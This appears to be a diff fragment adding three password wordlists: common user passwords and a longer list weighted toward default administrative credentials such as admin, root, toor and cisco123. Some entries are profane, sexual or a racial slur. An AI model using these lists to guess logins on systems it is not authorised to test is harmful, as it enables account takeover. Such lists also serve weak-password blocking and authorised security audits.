||||
swimming
|
||||
duke
|
||||
qwerty1
|
||||
babes
|
||||
scotland
|
||||
disney
|
||||
rooster
|
||||
brenda
|
||||
mookie
|
||||
swordfis
|
||||
candy
|
||||
duncan
|
||||
olivia
|
||||
hunting
|
||||
blink182
|
||||
alicia
|
||||
8888
|
||||
samsung
|
||||
bubba1
|
||||
whore
|
||||
virginia
|
||||
general
|
||||
passport
|
||||
aaaaaaaa
|
||||
erotic
|
||||
liberty
|
||||
arizona
|
||||
jesus
|
||||
abcd
|
||||
newport
|
||||
skipper
|
||||
rolltide
|
||||
balls
|
||||
happy1
|
||||
galore
|
||||
christ
|
||||
weasel
|
||||
242424
|
||||
wombat
|
||||
digger
|
||||
classic
|
||||
bulldogs
|
||||
poopoo
|
||||
accord
|
||||
popcorn
|
||||
turkey
|
||||
jenny
|
||||
amber
|
||||
bunny
|
||||
mouse
|
||||
007007
|
||||
titanic
|
||||
liverpool
|
||||
dreamer
|
||||
everton
|
||||
friends
|
||||
chevelle
|
||||
carrie
|
||||
gabriel
|
||||
psycho
|
||||
nemesis
|
||||
burton
|
||||
pontiac
|
||||
connor
|
||||
eatme
|
||||
lickme
|
||||
roland
|
||||
cumming
|
||||
mitchell
|
||||
ireland
|
||||
lincoln
|
||||
arnold
|
||||
spiderma
|
||||
patriots
|
||||
goblue
|
||||
devils
|
||||
eugene
|
||||
empire
|
||||
asdfg
|
||||
cardinal
|
||||
brown
|
||||
shaggy
|
||||
froggy
|
||||
qwer
|
||||
kawasaki
|
||||
kodiak
|
||||
people
|
||||
phpbb
|
||||
light
|
||||
54321
|
||||
kramer
|
||||
chopper
|
||||
hooker
|
||||
honey
|
||||
whynot
|
||||
lesbian
|
||||
lisa
|
||||
baxter
|
||||
adam
|
||||
snake
|
||||
teen
|
||||
ncc1701d
|
||||
qqqqqq
|
||||
airplane
|
||||
britney
|
||||
avalon
|
||||
sandy
|
||||
sugar
|
||||
sublime
|
||||
stewart
|
||||
wildcat
|
||||
raven
|
||||
scarface
|
||||
elizabet
|
||||
123654
|
||||
trucks
|
||||
wolfpack
|
||||
pervert
|
||||
lawrence
|
||||
raymond
|
||||
redhead
|
||||
american
|
||||
alyssa
|
||||
bambam
|
||||
movie
|
||||
woody
|
||||
shaved
|
||||
snowman
|
||||
tiger1
|
||||
chicks
|
||||
raptor
|
||||
1969
|
||||
stingray
|
||||
shooter
|
||||
france
|
||||
stars
|
||||
madmax
|
||||
kristen
|
||||
sports
|
||||
jerry
|
||||
789456
|
||||
garcia
|
||||
simpsons
|
||||
lights
|
||||
ryan
|
||||
looking
|
||||
chronic
|
||||
alison
|
||||
hahaha
|
||||
packard
|
||||
hendrix
|
||||
perfect
|
||||
service
|
||||
spring
|
||||
srinivas
|
||||
spike
|
||||
katie
|
||||
252525
|
||||
oscar
|
||||
brother
|
||||
bigmac
|
||||
suck
|
||||
single
|
||||
cannon
|
||||
georgia
|
||||
popeye
|
||||
tattoo
|
||||
texas
|
||||
party
|
||||
bullet
|
||||
taurus
|
||||
sailor
|
||||
wolves
|
||||
panthers
|
||||
japan
|
||||
strike
|
||||
flowers
|
||||
pussycat
|
||||
chris1
|
||||
loverboy
|
||||
berlin
|
||||
sticky
|
||||
marina
|
||||
tarheels
|
||||
fisher
|
||||
russia
|
||||
connie
|
||||
wolfgang
|
||||
testtest
|
||||
mature
|
||||
bass
|
||||
catch22
|
||||
juice
|
||||
michael1
|
||||
nigger
|
||||
159753
|
||||
women
|
||||
alpha1
|
||||
trooper
|
||||
hawkeye
|
||||
head
|
||||
freaky
|
||||
dodgers
|
||||
pakistan
|
||||
machine
|
||||
pyramid
|
||||
vegeta
|
||||
katana
|
||||
moose
|
||||
tinker
|
||||
coyote
|
||||
infinity
|
||||
inside
|
||||
pepsi
|
||||
letmein1
|
||||
bang
|
||||
control
|
||||
hercules
|
||||
morris
|
||||
james1
|
||||
tickle
|
||||
outlaw
|
||||
browns
|
||||
billybob
|
||||
pickle
|
||||
test1
|
||||
michele
|
||||
antonio
|
||||
sucks
|
||||
pavilion
|
||||
changeme
|
||||
caesar
|
||||
prelude
|
||||
tanner
|
||||
adrian
|
||||
darkside
|
||||
bowling
|
||||
wutang
|
||||
sunset
|
||||
robbie
|
||||
alabama
|
||||
@@ -0,0 +1,500 @@
|
||||
password
|
||||
123456
|
||||
12345678
|
||||
1234
|
||||
qwerty
|
||||
12345
|
||||
dragon
|
||||
pussy
|
||||
baseball
|
||||
football
|
||||
letmein
|
||||
monkey
|
||||
696969
|
||||
abc123
|
||||
mustang
|
||||
michael
|
||||
shadow
|
||||
master
|
||||
jennifer
|
||||
111111
|
||||
2000
|
||||
jordan
|
||||
superman
|
||||
harley
|
||||
1234567
|
||||
fuckme
|
||||
hunter
|
||||
fuckyou
|
||||
trustno1
|
||||
ranger
|
||||
buster
|
||||
thomas
|
||||
tigger
|
||||
robert
|
||||
soccer
|
||||
fuck
|
||||
batman
|
||||
test
|
||||
pass
|
||||
killer
|
||||
hockey
|
||||
george
|
||||
charlie
|
||||
andrew
|
||||
michelle
|
||||
love
|
||||
sunshine
|
||||
jessica
|
||||
asshole
|
||||
6969
|
||||
pepper
|
||||
daniel
|
||||
access
|
||||
123456789
|
||||
654321
|
||||
joshua
|
||||
maggie
|
||||
starwars
|
||||
silver
|
||||
william
|
||||
dallas
|
||||
yankees
|
||||
123123
|
||||
ashley
|
||||
666666
|
||||
hello
|
||||
amanda
|
||||
orange
|
||||
biteme
|
||||
freedom
|
||||
computer
|
||||
sexy
|
||||
thunder
|
||||
nicole
|
||||
ginger
|
||||
heather
|
||||
hammer
|
||||
summer
|
||||
corvette
|
||||
taylor
|
||||
fucker
|
||||
austin
|
||||
1111
|
||||
merlin
|
||||
matthew
|
||||
121212
|
||||
golfer
|
||||
cheese
|
||||
princess
|
||||
martin
|
||||
chelsea
|
||||
patrick
|
||||
richard
|
||||
diamond
|
||||
yellow
|
||||
bigdog
|
||||
secret
|
||||
asdfgh
|
||||
sparky
|
||||
cowboy
|
||||
camaro
|
||||
anthony
|
||||
matrix
|
||||
falcon
|
||||
iloveyou
|
||||
bailey
|
||||
guitar
|
||||
jackson
|
||||
purple
|
||||
scooter
|
||||
phoenix
|
||||
aaaaaa
|
||||
morgan
|
||||
tigers
|
||||
porsche
|
||||
mickey
|
||||
maverick
|
||||
cookie
|
||||
nascar
|
||||
peanut
|
||||
justin
|
||||
131313
|
||||
money
|
||||
horny
|
||||
samantha
|
||||
panties
|
||||
steelers
|
||||
joseph
|
||||
snoopy
|
||||
boomer
|
||||
whatever
|
||||
iceman
|
||||
smokey
|
||||
gateway
|
||||
dakota
|
||||
cowboys
|
||||
eagles
|
||||
chicken
|
||||
dick
|
||||
black
|
||||
zxcvbn
|
||||
please
|
||||
andrea
|
||||
ferrari
|
||||
knight
|
||||
hardcore
|
||||
melissa
|
||||
compaq
|
||||
coffee
|
||||
booboo
|
||||
bitch
|
||||
johnny
|
||||
bulldog
|
||||
xxxxxx
|
||||
welcome
|
||||
james
|
||||
player
|
||||
ncc1701
|
||||
wizard
|
||||
scooby
|
||||
charles
|
||||
junior
|
||||
internet
|
||||
bigdick
|
||||
mike
|
||||
brandy
|
||||
tennis
|
||||
blowjob
|
||||
banana
|
||||
monster
|
||||
spider
|
||||
lakers
|
||||
miller
|
||||
rabbit
|
||||
enter
|
||||
mercedes
|
||||
brandon
|
||||
steven
|
||||
fender
|
||||
john
|
||||
yamaha
|
||||
diablo
|
||||
chris
|
||||
boston
|
||||
tiger
|
||||
marine
|
||||
chicago
|
||||
rangers
|
||||
gandalf
|
||||
winter
|
||||
bigtits
|
||||
barney
|
||||
edward
|
||||
raiders
|
||||
porn
|
||||
badboy
|
||||
blowme
|
||||
spanky
|
||||
bigdaddy
|
||||
johnson
|
||||
chester
|
||||
london
|
||||
midnight
|
||||
blue
|
||||
fishing
|
||||
000000
|
||||
hannah
|
||||
slayer
|
||||
11111111
|
||||
rachel
|
||||
sexsex
|
||||
redsox
|
||||
thx1138
|
||||
asdf
|
||||
marlboro
|
||||
panther
|
||||
zxcvbnm
|
||||
arsenal
|
||||
oliver
|
||||
qazwsx
|
||||
mother
|
||||
victoria
|
||||
7777777
|
||||
jasper
|
||||
angel
|
||||
david
|
||||
winner
|
||||
crystal
|
||||
golden
|
||||
butthead
|
||||
viking
|
||||
jack
|
||||
iwantu
|
||||
shannon
|
||||
murphy
|
||||
angels
|
||||
prince
|
||||
cameron
|
||||
girls
|
||||
madison
|
||||
wilson
|
||||
carlos
|
||||
hooters
|
||||
willie
|
||||
startrek
|
||||
captain
|
||||
maddog
|
||||
jasmine
|
||||
butter
|
||||
booger
|
||||
angela
|
||||
golf
|
||||
lauren
|
||||
rocket
|
||||
tiffany
|
||||
theman
|
||||
dennis
|
||||
liverpoo
|
||||
flower
|
||||
forever
|
||||
green
|
||||
jackie
|
||||
muffin
|
||||
turtle
|
||||
sophie
|
||||
danielle
|
||||
redskins
|
||||
toyota
|
||||
jason
|
||||
sierra
|
||||
winston
|
||||
debbie
|
||||
giants
|
||||
packers
|
||||
newyork
|
||||
jeremy
|
||||
casper
|
||||
bubba
|
||||
112233
|
||||
sandra
|
||||
lovers
|
||||
mountain
|
||||
united
|
||||
cooper
|
||||
driver
|
||||
tucker
|
||||
helpme
|
||||
fucking
|
||||
pookie
|
||||
lucky
|
||||
maxwell
|
||||
8675309
|
||||
bear
|
||||
suckit
|
||||
gators
|
||||
5150
|
||||
222222
|
||||
shithead
|
||||
fuckoff
|
||||
jaguar
|
||||
monica
|
||||
fred
|
||||
happy
|
||||
hotdog
|
||||
tits
|
||||
gemini
|
||||
lover
|
||||
xxxxxxxx
|
||||
777777
|
||||
canada
|
||||
nathan
|
||||
victor
|
||||
florida
|
||||
88888888
|
||||
nicholas
|
||||
rosebud
|
||||
metallic
|
||||
doctor
|
||||
trouble
|
||||
success
|
||||
stupid
|
||||
tomcat
|
||||
warrior
|
||||
peaches
|
||||
apples
|
||||
fish
|
||||
qwertyui
|
||||
magic
|
||||
buddy
|
||||
dolphins
|
||||
rainbow
|
||||
gunner
|
||||
987654
|
||||
freddy
|
||||
alexis
|
||||
braves
|
||||
cock
|
||||
2112
|
||||
1212
|
||||
cocacola
|
||||
xavier
|
||||
dolphin
|
||||
testing
|
||||
bond007
|
||||
member
|
||||
calvin
|
||||
voodoo
|
||||
7777
|
||||
samson
|
||||
alex
|
||||
apollo
|
||||
fire
|
||||
tester
|
||||
walter
|
||||
beavis
|
||||
voyager
|
||||
peter
|
||||
porno
|
||||
bonnie
|
||||
rush2112
|
||||
beer
|
||||
apple
|
||||
scorpio
|
||||
jonathan
|
||||
skippy
|
||||
sydney
|
||||
scott
|
||||
red123
|
||||
power
|
||||
gordon
|
||||
travis
|
||||
beaver
|
||||
star
|
||||
jackass
|
||||
flyers
|
||||
boobs
|
||||
232323
|
||||
zzzzzz
|
||||
steve
|
||||
rebecca
|
||||
scorpion
|
||||
doggie
|
||||
legend
|
||||
ou812
|
||||
yankee
|
||||
blazer
|
||||
bill
|
||||
runner
|
||||
birdie
|
||||
bitches
|
||||
555555
|
||||
parker
|
||||
topgun
|
||||
asdfasdf
|
||||
heaven
|
||||
viper
|
||||
animal
|
||||
2222
|
||||
bigboy
|
||||
4444
|
||||
arthur
|
||||
baby
|
||||
private
|
||||
godzilla
|
||||
donald
|
||||
williams
|
||||
lifehack
|
||||
phantom
|
||||
dave
|
||||
rock
|
||||
august
|
||||
sammy
|
||||
cool
|
||||
brian
|
||||
platinum
|
||||
jake
|
||||
bronco
|
||||
paul
|
||||
mark
|
||||
frank
|
||||
heka6w2
|
||||
copper
|
||||
billy
|
||||
cumshot
|
||||
garfield
|
||||
willow
|
||||
cunt
|
||||
little
|
||||
carter
|
||||
slut
|
||||
albert
|
||||
69696969
|
||||
kitten
|
||||
super
|
||||
jordan23
|
||||
eagle1
|
||||
shelby
|
||||
america
|
||||
11111
|
||||
jessie
|
||||
house
|
||||
free
|
||||
123321
|
||||
chevy
|
||||
bullshit
|
||||
white
|
||||
broncos
|
||||
horney
|
||||
surfer
|
||||
nissan
|
||||
999999
|
||||
saturn
|
||||
airborne
|
||||
elephant
|
||||
marvin
|
||||
shit
|
||||
action
|
||||
adidas
|
||||
qwert
|
||||
kevin
|
||||
1313
|
||||
explorer
|
||||
walker
|
||||
police
|
||||
christin
|
||||
december
|
||||
benjamin
|
||||
wolf
|
||||
sweet
|
||||
therock
|
||||
king
|
||||
online
|
||||
dickhead
|
||||
brooklyn
|
||||
teresa
|
||||
cricket
|
||||
sharon
|
||||
dexter
|
||||
racing
|
||||
penis
|
||||
gregory
|
||||
0000
|
||||
teens
|
||||
redwings
|
||||
dreams
|
||||
michigan
|
||||
hentai
|
||||
magnum
|
||||
87654321
|
||||
nothing
|
||||
donkey
|
||||
trinity
|
||||
digital
|
||||
333333
|
||||
stella
|
||||
cartman
|
||||
guinness
|
||||
123abc
|
||||
speedy
|
||||
buffalo
|
||||
@@ -0,0 +1,1000 @@
|
||||
ADMIN
|
||||
admin
|
||||
calvin
|
||||
PASSW0RD
|
||||
root
|
||||
superuser
|
||||
computer1
|
||||
changeme
|
||||
4rfv$RFV
|
||||
password
|
||||
asdlkj
|
||||
123456
|
||||
xupamisto
|
||||
Letmein2
|
||||
1q2w3e4r
|
||||
111111
|
||||
|
||||
zero2hero
|
||||
admin123
|
||||
Flamenco
|
||||
birdshit
|
||||
237723
|
||||
gandalf6
|
||||
wanmei
|
||||
maria1988
|
||||
angel2000
|
||||
1qaz2wsx
|
||||
4rfvbhu8
|
||||
adminadmin
|
||||
bmw12345
|
||||
letmein2
|
||||
P@ssw0rd
|
||||
12qw!@QW
|
||||
12345678
|
||||
monkeybutt
|
||||
security
|
||||
letmein1
|
||||
aztech
|
||||
Password1
|
||||
calvin22
|
||||
123456789
|
||||
12345
|
||||
t1m3l0rd
|
||||
p@ssw0rd
|
||||
amilopro
|
||||
zaq1xsw2
|
||||
z0x9c8v7
|
||||
albatros
|
||||
!QAZ2wsx
|
||||
freedumb1
|
||||
face2face
|
||||
antibiotico
|
||||
nopermission
|
||||
imperial
|
||||
administrator
|
||||
Winston1
|
||||
123qwe
|
||||
odiotodo
|
||||
get2it
|
||||
evilpenguin
|
||||
zodiac666
|
||||
debugs
|
||||
changemes
|
||||
asdf1234
|
||||
Administrator
|
||||
test123
|
||||
test
|
||||
sun12345
|
||||
siemens123
|
||||
hpinvent
|
||||
goethe
|
||||
compaq
|
||||
cisco
|
||||
butt
|
||||
brian0711
|
||||
bobthebuilder
|
||||
a12345678
|
||||
1234
|
||||
123
|
||||
ncc1701d
|
||||
fresher
|
||||
Nemesis1
|
||||
012012
|
||||
Welcome123
|
||||
Tokyo1
|
||||
123qweASD
|
||||
funshion
|
||||
doris321
|
||||
vfnmdfie
|
||||
redhat
|
||||
netnet
|
||||
letmein
|
||||
kalimera
|
||||
carpediem
|
||||
blabla12
|
||||
blabla
|
||||
bios
|
||||
augmentin
|
||||
apa123
|
||||
admin1234
|
||||
abcd1234
|
||||
Parasol1
|
||||
23skidoo
|
||||
john2008
|
||||
ipax
|
||||
angusyoung
|
||||
Aloysius
|
||||
1qaz@WSX
|
||||
winston
|
||||
wibbles
|
||||
toor
|
||||
taco66
|
||||
soccer1
|
||||
root123
|
||||
pandemonium
|
||||
orpheus
|
||||
lifeline
|
||||
bohemia
|
||||
admini
|
||||
abc123
|
||||
Welcome0
|
||||
vitesse
|
||||
supergeil
|
||||
secure123
|
||||
qwerty
|
||||
poepchinees
|
||||
mackousko
|
||||
level10
|
||||
leoleo
|
||||
kuku
|
||||
junker
|
||||
ilovetessa
|
||||
f4g5h6j7
|
||||
dropship
|
||||
bynthc
|
||||
barbusse
|
||||
aristoteles
|
||||
apollo11
|
||||
a13a13
|
||||
RUPRECHT
|
||||
P4ssw0rd
|
||||
1q2w3e4r5t
|
||||
14111982
|
||||
1234ABCD
|
||||
112233
|
||||
tanglefoot
|
||||
progr3ss
|
||||
omneon
|
||||
cheng1234
|
||||
x
|
||||
winston1
|
||||
welcome1
|
||||
usulll
|
||||
topsecret
|
||||
test1234
|
||||
savanna
|
||||
rootroot
|
||||
qweQWE123
|
||||
qazwsx123
|
||||
q1w2e3r4
|
||||
q1q1q1
|
||||
prepaid
|
||||
pokemon!
|
||||
poi098
|
||||
pepsi2008
|
||||
parmesan
|
||||
not4u2c
|
||||
magex
|
||||
johnny50
|
||||
hongkong
|
||||
freedom
|
||||
flapjack
|
||||
dikdik
|
||||
cherokee
|
||||
callofduty
|
||||
benitocameloo
|
||||
babyface
|
||||
asdfhjkl
|
||||
asdewq
|
||||
abcdef3
|
||||
Welcome1
|
||||
P@$$w0rd
|
||||
Hamster
|
||||
Dragonsoul
|
||||
Avalanche
|
||||
1997
|
||||
1548644
|
||||
125401
|
||||
123zxc123
|
||||
123qweasdzxc
|
||||
123qwe!@#
|
||||
11111111
|
||||
111
|
||||
04051995
|
||||
scifix
|
||||
q3kze7q
|
||||
password201
|
||||
m45t3rm1nd
|
||||
jander1
|
||||
blackonblack
|
||||
!Q2w#E4r
|
||||
ytrewq
|
||||
xxxxxx
|
||||
xpsm1210
|
||||
xerox
|
||||
wombat
|
||||
weblink
|
||||
toptop
|
||||
tmp123
|
||||
tester
|
||||
t0m&j3rry
|
||||
spike04
|
||||
siempre!
|
||||
shuriken
|
||||
secret
|
||||
saynomore
|
||||
rotrot
|
||||
ringer
|
||||
richard#1
|
||||
razor
|
||||
qwert
|
||||
qazwsx
|
||||
parolamea
|
||||
oceans11
|
||||
nova21
|
||||
nopass
|
||||
nitram
|
||||
nas123
|
||||
mujama
|
||||
megatron
|
||||
maxima
|
||||
master
|
||||
liquidtension
|
||||
linkin123
|
||||
letmesee
|
||||
langke
|
||||
l0v3m3
|
||||
klimis
|
||||
kane
|
||||
kalvin
|
||||
kailro
|
||||
k4hvdq9tj9
|
||||
jack1998
|
||||
itsasecret
|
||||
inverter
|
||||
hobbs
|
||||
happyhippo
|
||||
hannover96
|
||||
gravis
|
||||
gizmo
|
||||
fubar
|
||||
foobar
|
||||
foo123
|
||||
flying
|
||||
flyboy
|
||||
enter123321
|
||||
enter123
|
||||
doruk
|
||||
dimdim
|
||||
delta
|
||||
credu
|
||||
cisco123
|
||||
changeme123
|
||||
carol
|
||||
blubje
|
||||
bigred23
|
||||
ardrossan
|
||||
apple
|
||||
an0th3r
|
||||
adoado
|
||||
access
|
||||
ZAQ!2wsx
|
||||
Reptile1
|
||||
Qwerty123
|
||||
Password@1
|
||||
Password123
|
||||
Password#1
|
||||
Pass1234
|
||||
P@ssword
|
||||
Haemorrhage
|
||||
8253
|
||||
56565656
|
||||
2bornot2b
|
||||
2718281828
|
||||
22
|
||||
2071184
|
||||
1qa@WS3ed
|
||||
159357**
|
||||
131313
|
||||
123123
|
||||
121212
|
||||
11112222
|
||||
10111011
|
||||
zzzz
|
||||
yuiop
|
||||
xxxxxxxx
|
||||
windows7
|
||||
west123
|
||||
wave123
|
||||
vivivi
|
||||
vitaly
|
||||
ventilator
|
||||
vatten
|
||||
valentino
|
||||
totototo
|
||||
tornado@
|
||||
titkos
|
||||
time_out
|
||||
testtest
|
||||
test1
|
||||
temp12345
|
||||
tagada
|
||||
system1
|
||||
sysadmin
|
||||
stanley
|
||||
sofuck
|
||||
snickers
|
||||
skywalker
|
||||
simonb
|
||||
shin
|
||||
semmi
|
||||
sasman
|
||||
samsun
|
||||
salope
|
||||
salamander
|
||||
rutabaga
|
||||
rosedale
|
||||
ronson
|
||||
rollerblade
|
||||
revision
|
||||
qwerty7
|
||||
qwerty12
|
||||
qscwdv
|
||||
qazxswedc123
|
||||
proba123
|
||||
powerpower
|
||||
powder1
|
||||
poloppolop
|
||||
plopplop
|
||||
penelope
|
||||
pathology
|
||||
passw0rd
|
||||
pass123
|
||||
offshore
|
||||
nerdnerd
|
||||
mirrormirror
|
||||
mi
|
||||
mercedes
|
||||
loran123
|
||||
lopata
|
||||
lol
|
||||
lofasz
|
||||
lenor
|
||||
lalala
|
||||
kingswood
|
||||
keystone
|
||||
karmal
|
||||
kakala
|
||||
juliette
|
||||
icecream
|
||||
huawei
|
||||
helson
|
||||
hello123
|
||||
he
|
||||
grouper
|
||||
gravity
|
||||
gfhjkm
|
||||
fernandes
|
||||
faszom
|
||||
fastweb
|
||||
extazy
|
||||
exploit
|
||||
easy123
|
||||
dweeble
|
||||
deneme
|
||||
cy
|
||||
ciang
|
||||
changeme1
|
||||
catfish
|
||||
cardinal
|
||||
calvin1
|
||||
calliope
|
||||
brother
|
||||
bomba
|
||||
blizzard
|
||||
blahblah
|
||||
bier
|
||||
asdasd
|
||||
asd
|
||||
aq12wsxz
|
||||
apricot
|
||||
airlines
|
||||
abusive
|
||||
abra
|
||||
Windows1
|
||||
Un1verse
|
||||
Root123
|
||||
ROOT
|
||||
Qwerty1!
|
||||
Password
|
||||
PASSWORD
|
||||
P@ssw0rd!
|
||||
OEM
|
||||
Newpass1
|
||||
Letmein1
|
||||
KNIGHT
|
||||
Israel123
|
||||
Crystal0!
|
||||
Christmas
|
||||
Chester1
|
||||
COMPAQ
|
||||
CALVIN
|
||||
963258
|
||||
88888888
|
||||
6213744
|
||||
584620
|
||||
2468369
|
||||
225225
|
||||
201036
|
||||
2010
|
||||
1q2w3e
|
||||
198624
|
||||
146890
|
||||
130590
|
||||
123258
|
||||
082208
|
||||
012465
|
||||
zse4rfv
|
||||
zmalqp10
|
||||
zazazaza
|
||||
zaxscdvf
|
||||
zaqwsxcde
|
||||
zaq1@WSX
|
||||
yellow22
|
||||
yellow123
|
||||
yakiniku
|
||||
yabadabadoo
|
||||
xitgmLwmp
|
||||
xinmen
|
||||
xdr56tfc
|
||||
whitebird
|
||||
waterfire12
|
||||
wachtwoord
|
||||
w8w00rd
|
||||
w00tw00t
|
||||
virginia11
|
||||
vince123
|
||||
viewmaster
|
||||
vatefairefoutre
|
||||
united99
|
||||
united123
|
||||
tunix
|
||||
triangulation
|
||||
tj1234
|
||||
tiger123
|
||||
throwaway
|
||||
three4me
|
||||
thisisapassword1
|
||||
testbed
|
||||
temppass
|
||||
temp1234
|
||||
temp11
|
||||
telefone
|
||||
tdvcth
|
||||
tarantula1
|
||||
taki
|
||||
system32
|
||||
strasburg
|
||||
start123
|
||||
sofresh
|
||||
setmefree
|
||||
seekanddestroy
|
||||
secure6
|
||||
root4
|
||||
roman123
|
||||
riobravo
|
||||
rikitiki
|
||||
reformation
|
||||
rayong1234
|
||||
randy007
|
||||
qwertz123
|
||||
qwerty77
|
||||
qwerty123
|
||||
qwerty09
|
||||
qwert12345
|
||||
qweqweqwe
|
||||
qweasd123
|
||||
qwe123!@#
|
||||
qwe123
|
||||
qwas12
|
||||
quepasa
|
||||
qq123456
|
||||
qazzxc
|
||||
qazxsw2
|
||||
qazwsx123456
|
||||
qaz123
|
||||
q1q2q3q4
|
||||
q1q1q1q1
|
||||
primat
|
||||
powermax
|
||||
plokijuh
|
||||
pizza42
|
||||
pieceofshit
|
||||
picus
|
||||
phoenix602
|
||||
peter123
|
||||
password55
|
||||
password209
|
||||
passw0rd1
|
||||
passion12
|
||||
pantera69
|
||||
pa$$word
|
||||
pa$$w0rd
|
||||
p3t3rpan
|
||||
opengate
|
||||
ontology
|
||||
omgomg123
|
||||
number66
|
||||
nottelling
|
||||
nike2008
|
||||
n0d0ubt1
|
||||
mwmwmw
|
||||
mvemjsunp
|
||||
mustang70
|
||||
munchkin10
|
||||
muffinman
|
||||
mikeiscool
|
||||
megabit
|
||||
mar1jane
|
||||
mama1234
|
||||
mainstreet
|
||||
madman18
|
||||
luke1993
|
||||
ludacris
|
||||
lsxol
|
||||
lord1234
|
||||
lolipop2
|
||||
localadmin
|
||||
letmeout
|
||||
lemon123
|
||||
l8rsk8r
|
||||
kusakusa
|
||||
krakonos
|
||||
km123456
|
||||
kingofthehill
|
||||
kenzan
|
||||
keepout123
|
||||
karkulka
|
||||
kalap
|
||||
k123
|
||||
ji394su3
|
||||
jackson88
|
||||
integra99
|
||||
integra18
|
||||
indonesiaraya
|
||||
ictel
|
||||
iamthebest
|
||||
hyperdrive
|
||||
humppa
|
||||
howard03
|
||||
hero777
|
||||
hashimoto
|
||||
hasan12345
|
||||
hanseatic
|
||||
hallo123
|
||||
hallo12
|
||||
grapenuts
|
||||
gorefest
|
||||
goldstar
|
||||
godblessyou
|
||||
getoutofhere
|
||||
genius123
|
||||
gbpltw
|
||||
freetown1
|
||||
freedom35
|
||||
fotos1
|
||||
florida69
|
||||
fischer123
|
||||
fire1818
|
||||
figarofigaro
|
||||
ficken2000
|
||||
f18hornet
|
||||
f00b4r
|
||||
eragon1
|
||||
easyway
|
||||
dvnstw
|
||||
duffy123
|
||||
dtvbhx
|
||||
dropzone
|
||||
dennis96
|
||||
d3ft0n3s
|
||||
d1ngd0ng
|
||||
d0dger
|
||||
d00rmat
|
||||
cydvb
|
||||
csigabiga
|
||||
crew10
|
||||
crashbandicoot
|
||||
consults
|
||||
collins123
|
||||
cisko
|
||||
ciscocisco
|
||||
chile62
|
||||
check123
|
||||
ch4ng3m3
|
||||
cdvcdv
|
||||
catinthehat
|
||||
carla123
|
||||
calvin99
|
||||
calvin!
|
||||
calv1n
|
||||
calamar
|
||||
bubububu
|
||||
bublik
|
||||
bluespot
|
||||
black321
|
||||
bla123
|
||||
bigbuddy
|
||||
banane1
|
||||
athlon64
|
||||
atacan
|
||||
aspirine
|
||||
asdQWE123
|
||||
asd123qwe
|
||||
anakonda
|
||||
alpargata
|
||||
alarcon
|
||||
ajlesd
|
||||
admint
|
||||
adminpass
|
||||
admin1121
|
||||
admin01
|
||||
admin001
|
||||
abrakadabra
|
||||
abcd-1234
|
||||
abc123!!
|
||||
abc#123
|
||||
a1b2c3d4e5f6
|
||||
a1b2c3d4e5
|
||||
a123456
|
||||
a11b12c13
|
||||
Zaq1xsw2
|
||||
Und3rGr0und
|
||||
TrustNo1
|
||||
Test1234
|
||||
Super123
|
||||
Summer12
|
||||
Silicon1
|
||||
Runaway1
|
||||
Republic1
|
||||
Qwer!234
|
||||
P@ssword123
|
||||
P@55w0rd
|
||||
P@$$word
|
||||
P@$$w0rD
|
||||
Operator
|
||||
MKO)9ijn
|
||||
Lasvegas1
|
||||
Insecure
|
||||
Impatiens
|
||||
INTERNAT
|
||||
Crocodile1
|
||||
Boromir1
|
||||
Berman
|
||||
Asdfg123
|
||||
Asd123
|
||||
@WSX1qaz
|
||||
874365
|
||||
832531
|
||||
735841
|
||||
6922374
|
||||
666001
|
||||
570912
|
||||
545981
|
||||
43046721
|
||||
3stones
|
||||
38483848
|
||||
311147
|
||||
2brnot2b
|
||||
29082908
|
||||
23041979
|
||||
22242224
|
||||
222101
|
||||
22071979
|
||||
21101981
|
||||
20742074
|
||||
20572057
|
||||
20552055
|
||||
20132013
|
||||
20112011
|
||||
1qsx2waz
|
||||
1qazxsw2
|
||||
1qazxcvb
|
||||
1qaz2wsx3edc
|
||||
1qaz0okm
|
||||
1qaz!QAZ
|
||||
1q2w3e4r5t6y
|
||||
1q2w3e4r..
|
||||
1keeper
|
||||
1a2s3d4f
|
||||
19511951
|
||||
19501950
|
||||
19491949
|
||||
187cop
|
||||
17841784
|
||||
17201720
|
||||
17161716
|
||||
159753456
|
||||
147896325
|
||||
146688
|
||||
1456
|
||||
12qwaszx
|
||||
12qw34er
|
||||
123qwerty
|
||||
123mudar
|
||||
1234qwer!
|
||||
1234Qwer
|
||||
1234567890qwertyuiop
|
||||
123454321
|
||||
123412345
|
||||
123.com
|
||||
12201220
|
||||
12121212
|
||||
1111aa
|
||||
1020304050
|
||||
10144
|
||||
10143
|
||||
10135
|
||||
10118
|
||||
10101010
|
||||
0okmnji9
|
||||
06061977
|
||||
*password
|
||||
!qaz@wsx
|
||||
!Q2w3e4r
|
||||
!1qwerty
|
||||
zxcpoi123
|
||||
zero0zero
|
||||
zaq1xsw2cde3
|
||||
yyl
|
||||
yes90125
|
||||
xyuxyu
|
||||
xunlei
|
||||
xiazhi
|
||||
woelco
|
||||
wjltnt
|
||||
wipro123
|
||||
wendimia
|
||||
weeslz
|
||||
warpdrive
|
||||
voip123
|
||||
vlis
|
||||
vishal123
|
||||
vienna88
|
||||
vienna12
|
||||
venigo
|
||||
ucsucs
|
||||
tuff1234
|
||||
triptrap
|
||||
testpass
|
||||
test100
|
||||
term1nat0r
|
||||
t00tt00t
|
||||
sysu
|
||||
sy123456
|
||||
superstart
|
||||
sunvision
|
||||
sunsh1ne!
|
||||
stay-off
|
||||
state119
|
||||
stark123
|
||||
squ1rrel
|
||||
spacemonkeys
|
||||
sosict
|
||||
somtik
|
||||
skysky21
|
||||
shineonyou
|
||||
shakyamuni
|
||||
sclg
|
||||
sanayounes
|
||||
samsung34
|
||||
sallasana
|
||||
s3cur3d
|
||||
runder
|
||||
round123
|
||||
roota
|
||||
root1234
|
||||
rfnfyf
|
||||
redpoint
|
||||
redorblue
|
||||
raritan
|
||||
rais
|
||||
qwerty1234567890
|
||||
qwerqaz
|
||||
qweewq123
|
||||
qweasdzxc2
|
||||
qweasd789
|
||||
qwe123.
|
||||
qqqitx
|
||||
qazwsx!@#
|
||||
qazw1234
|
||||
qaz74123
|
||||
pswrdpswrd
|
||||
portakal1
|
||||
popidc
|
||||
phishfood
|
||||
petert999
|
||||
pepson
|
||||
patrickb123
|
||||
password1`
|
||||
oqksad
|
||||
omfglol1
|
||||
ocnc123
|
||||
nttocn
|
||||
npwfkl
|
||||
nobchan
|
||||
nitech
|
||||
nigugu
|
||||
nfmvta
|
||||
new_password
|
||||
netadmin
|
||||
net101
|
||||
nemtom1
|
||||
n0ttelling
|
||||
mupali
|
||||
mumuland
|
||||
mexx6399
|
||||
mcknight88
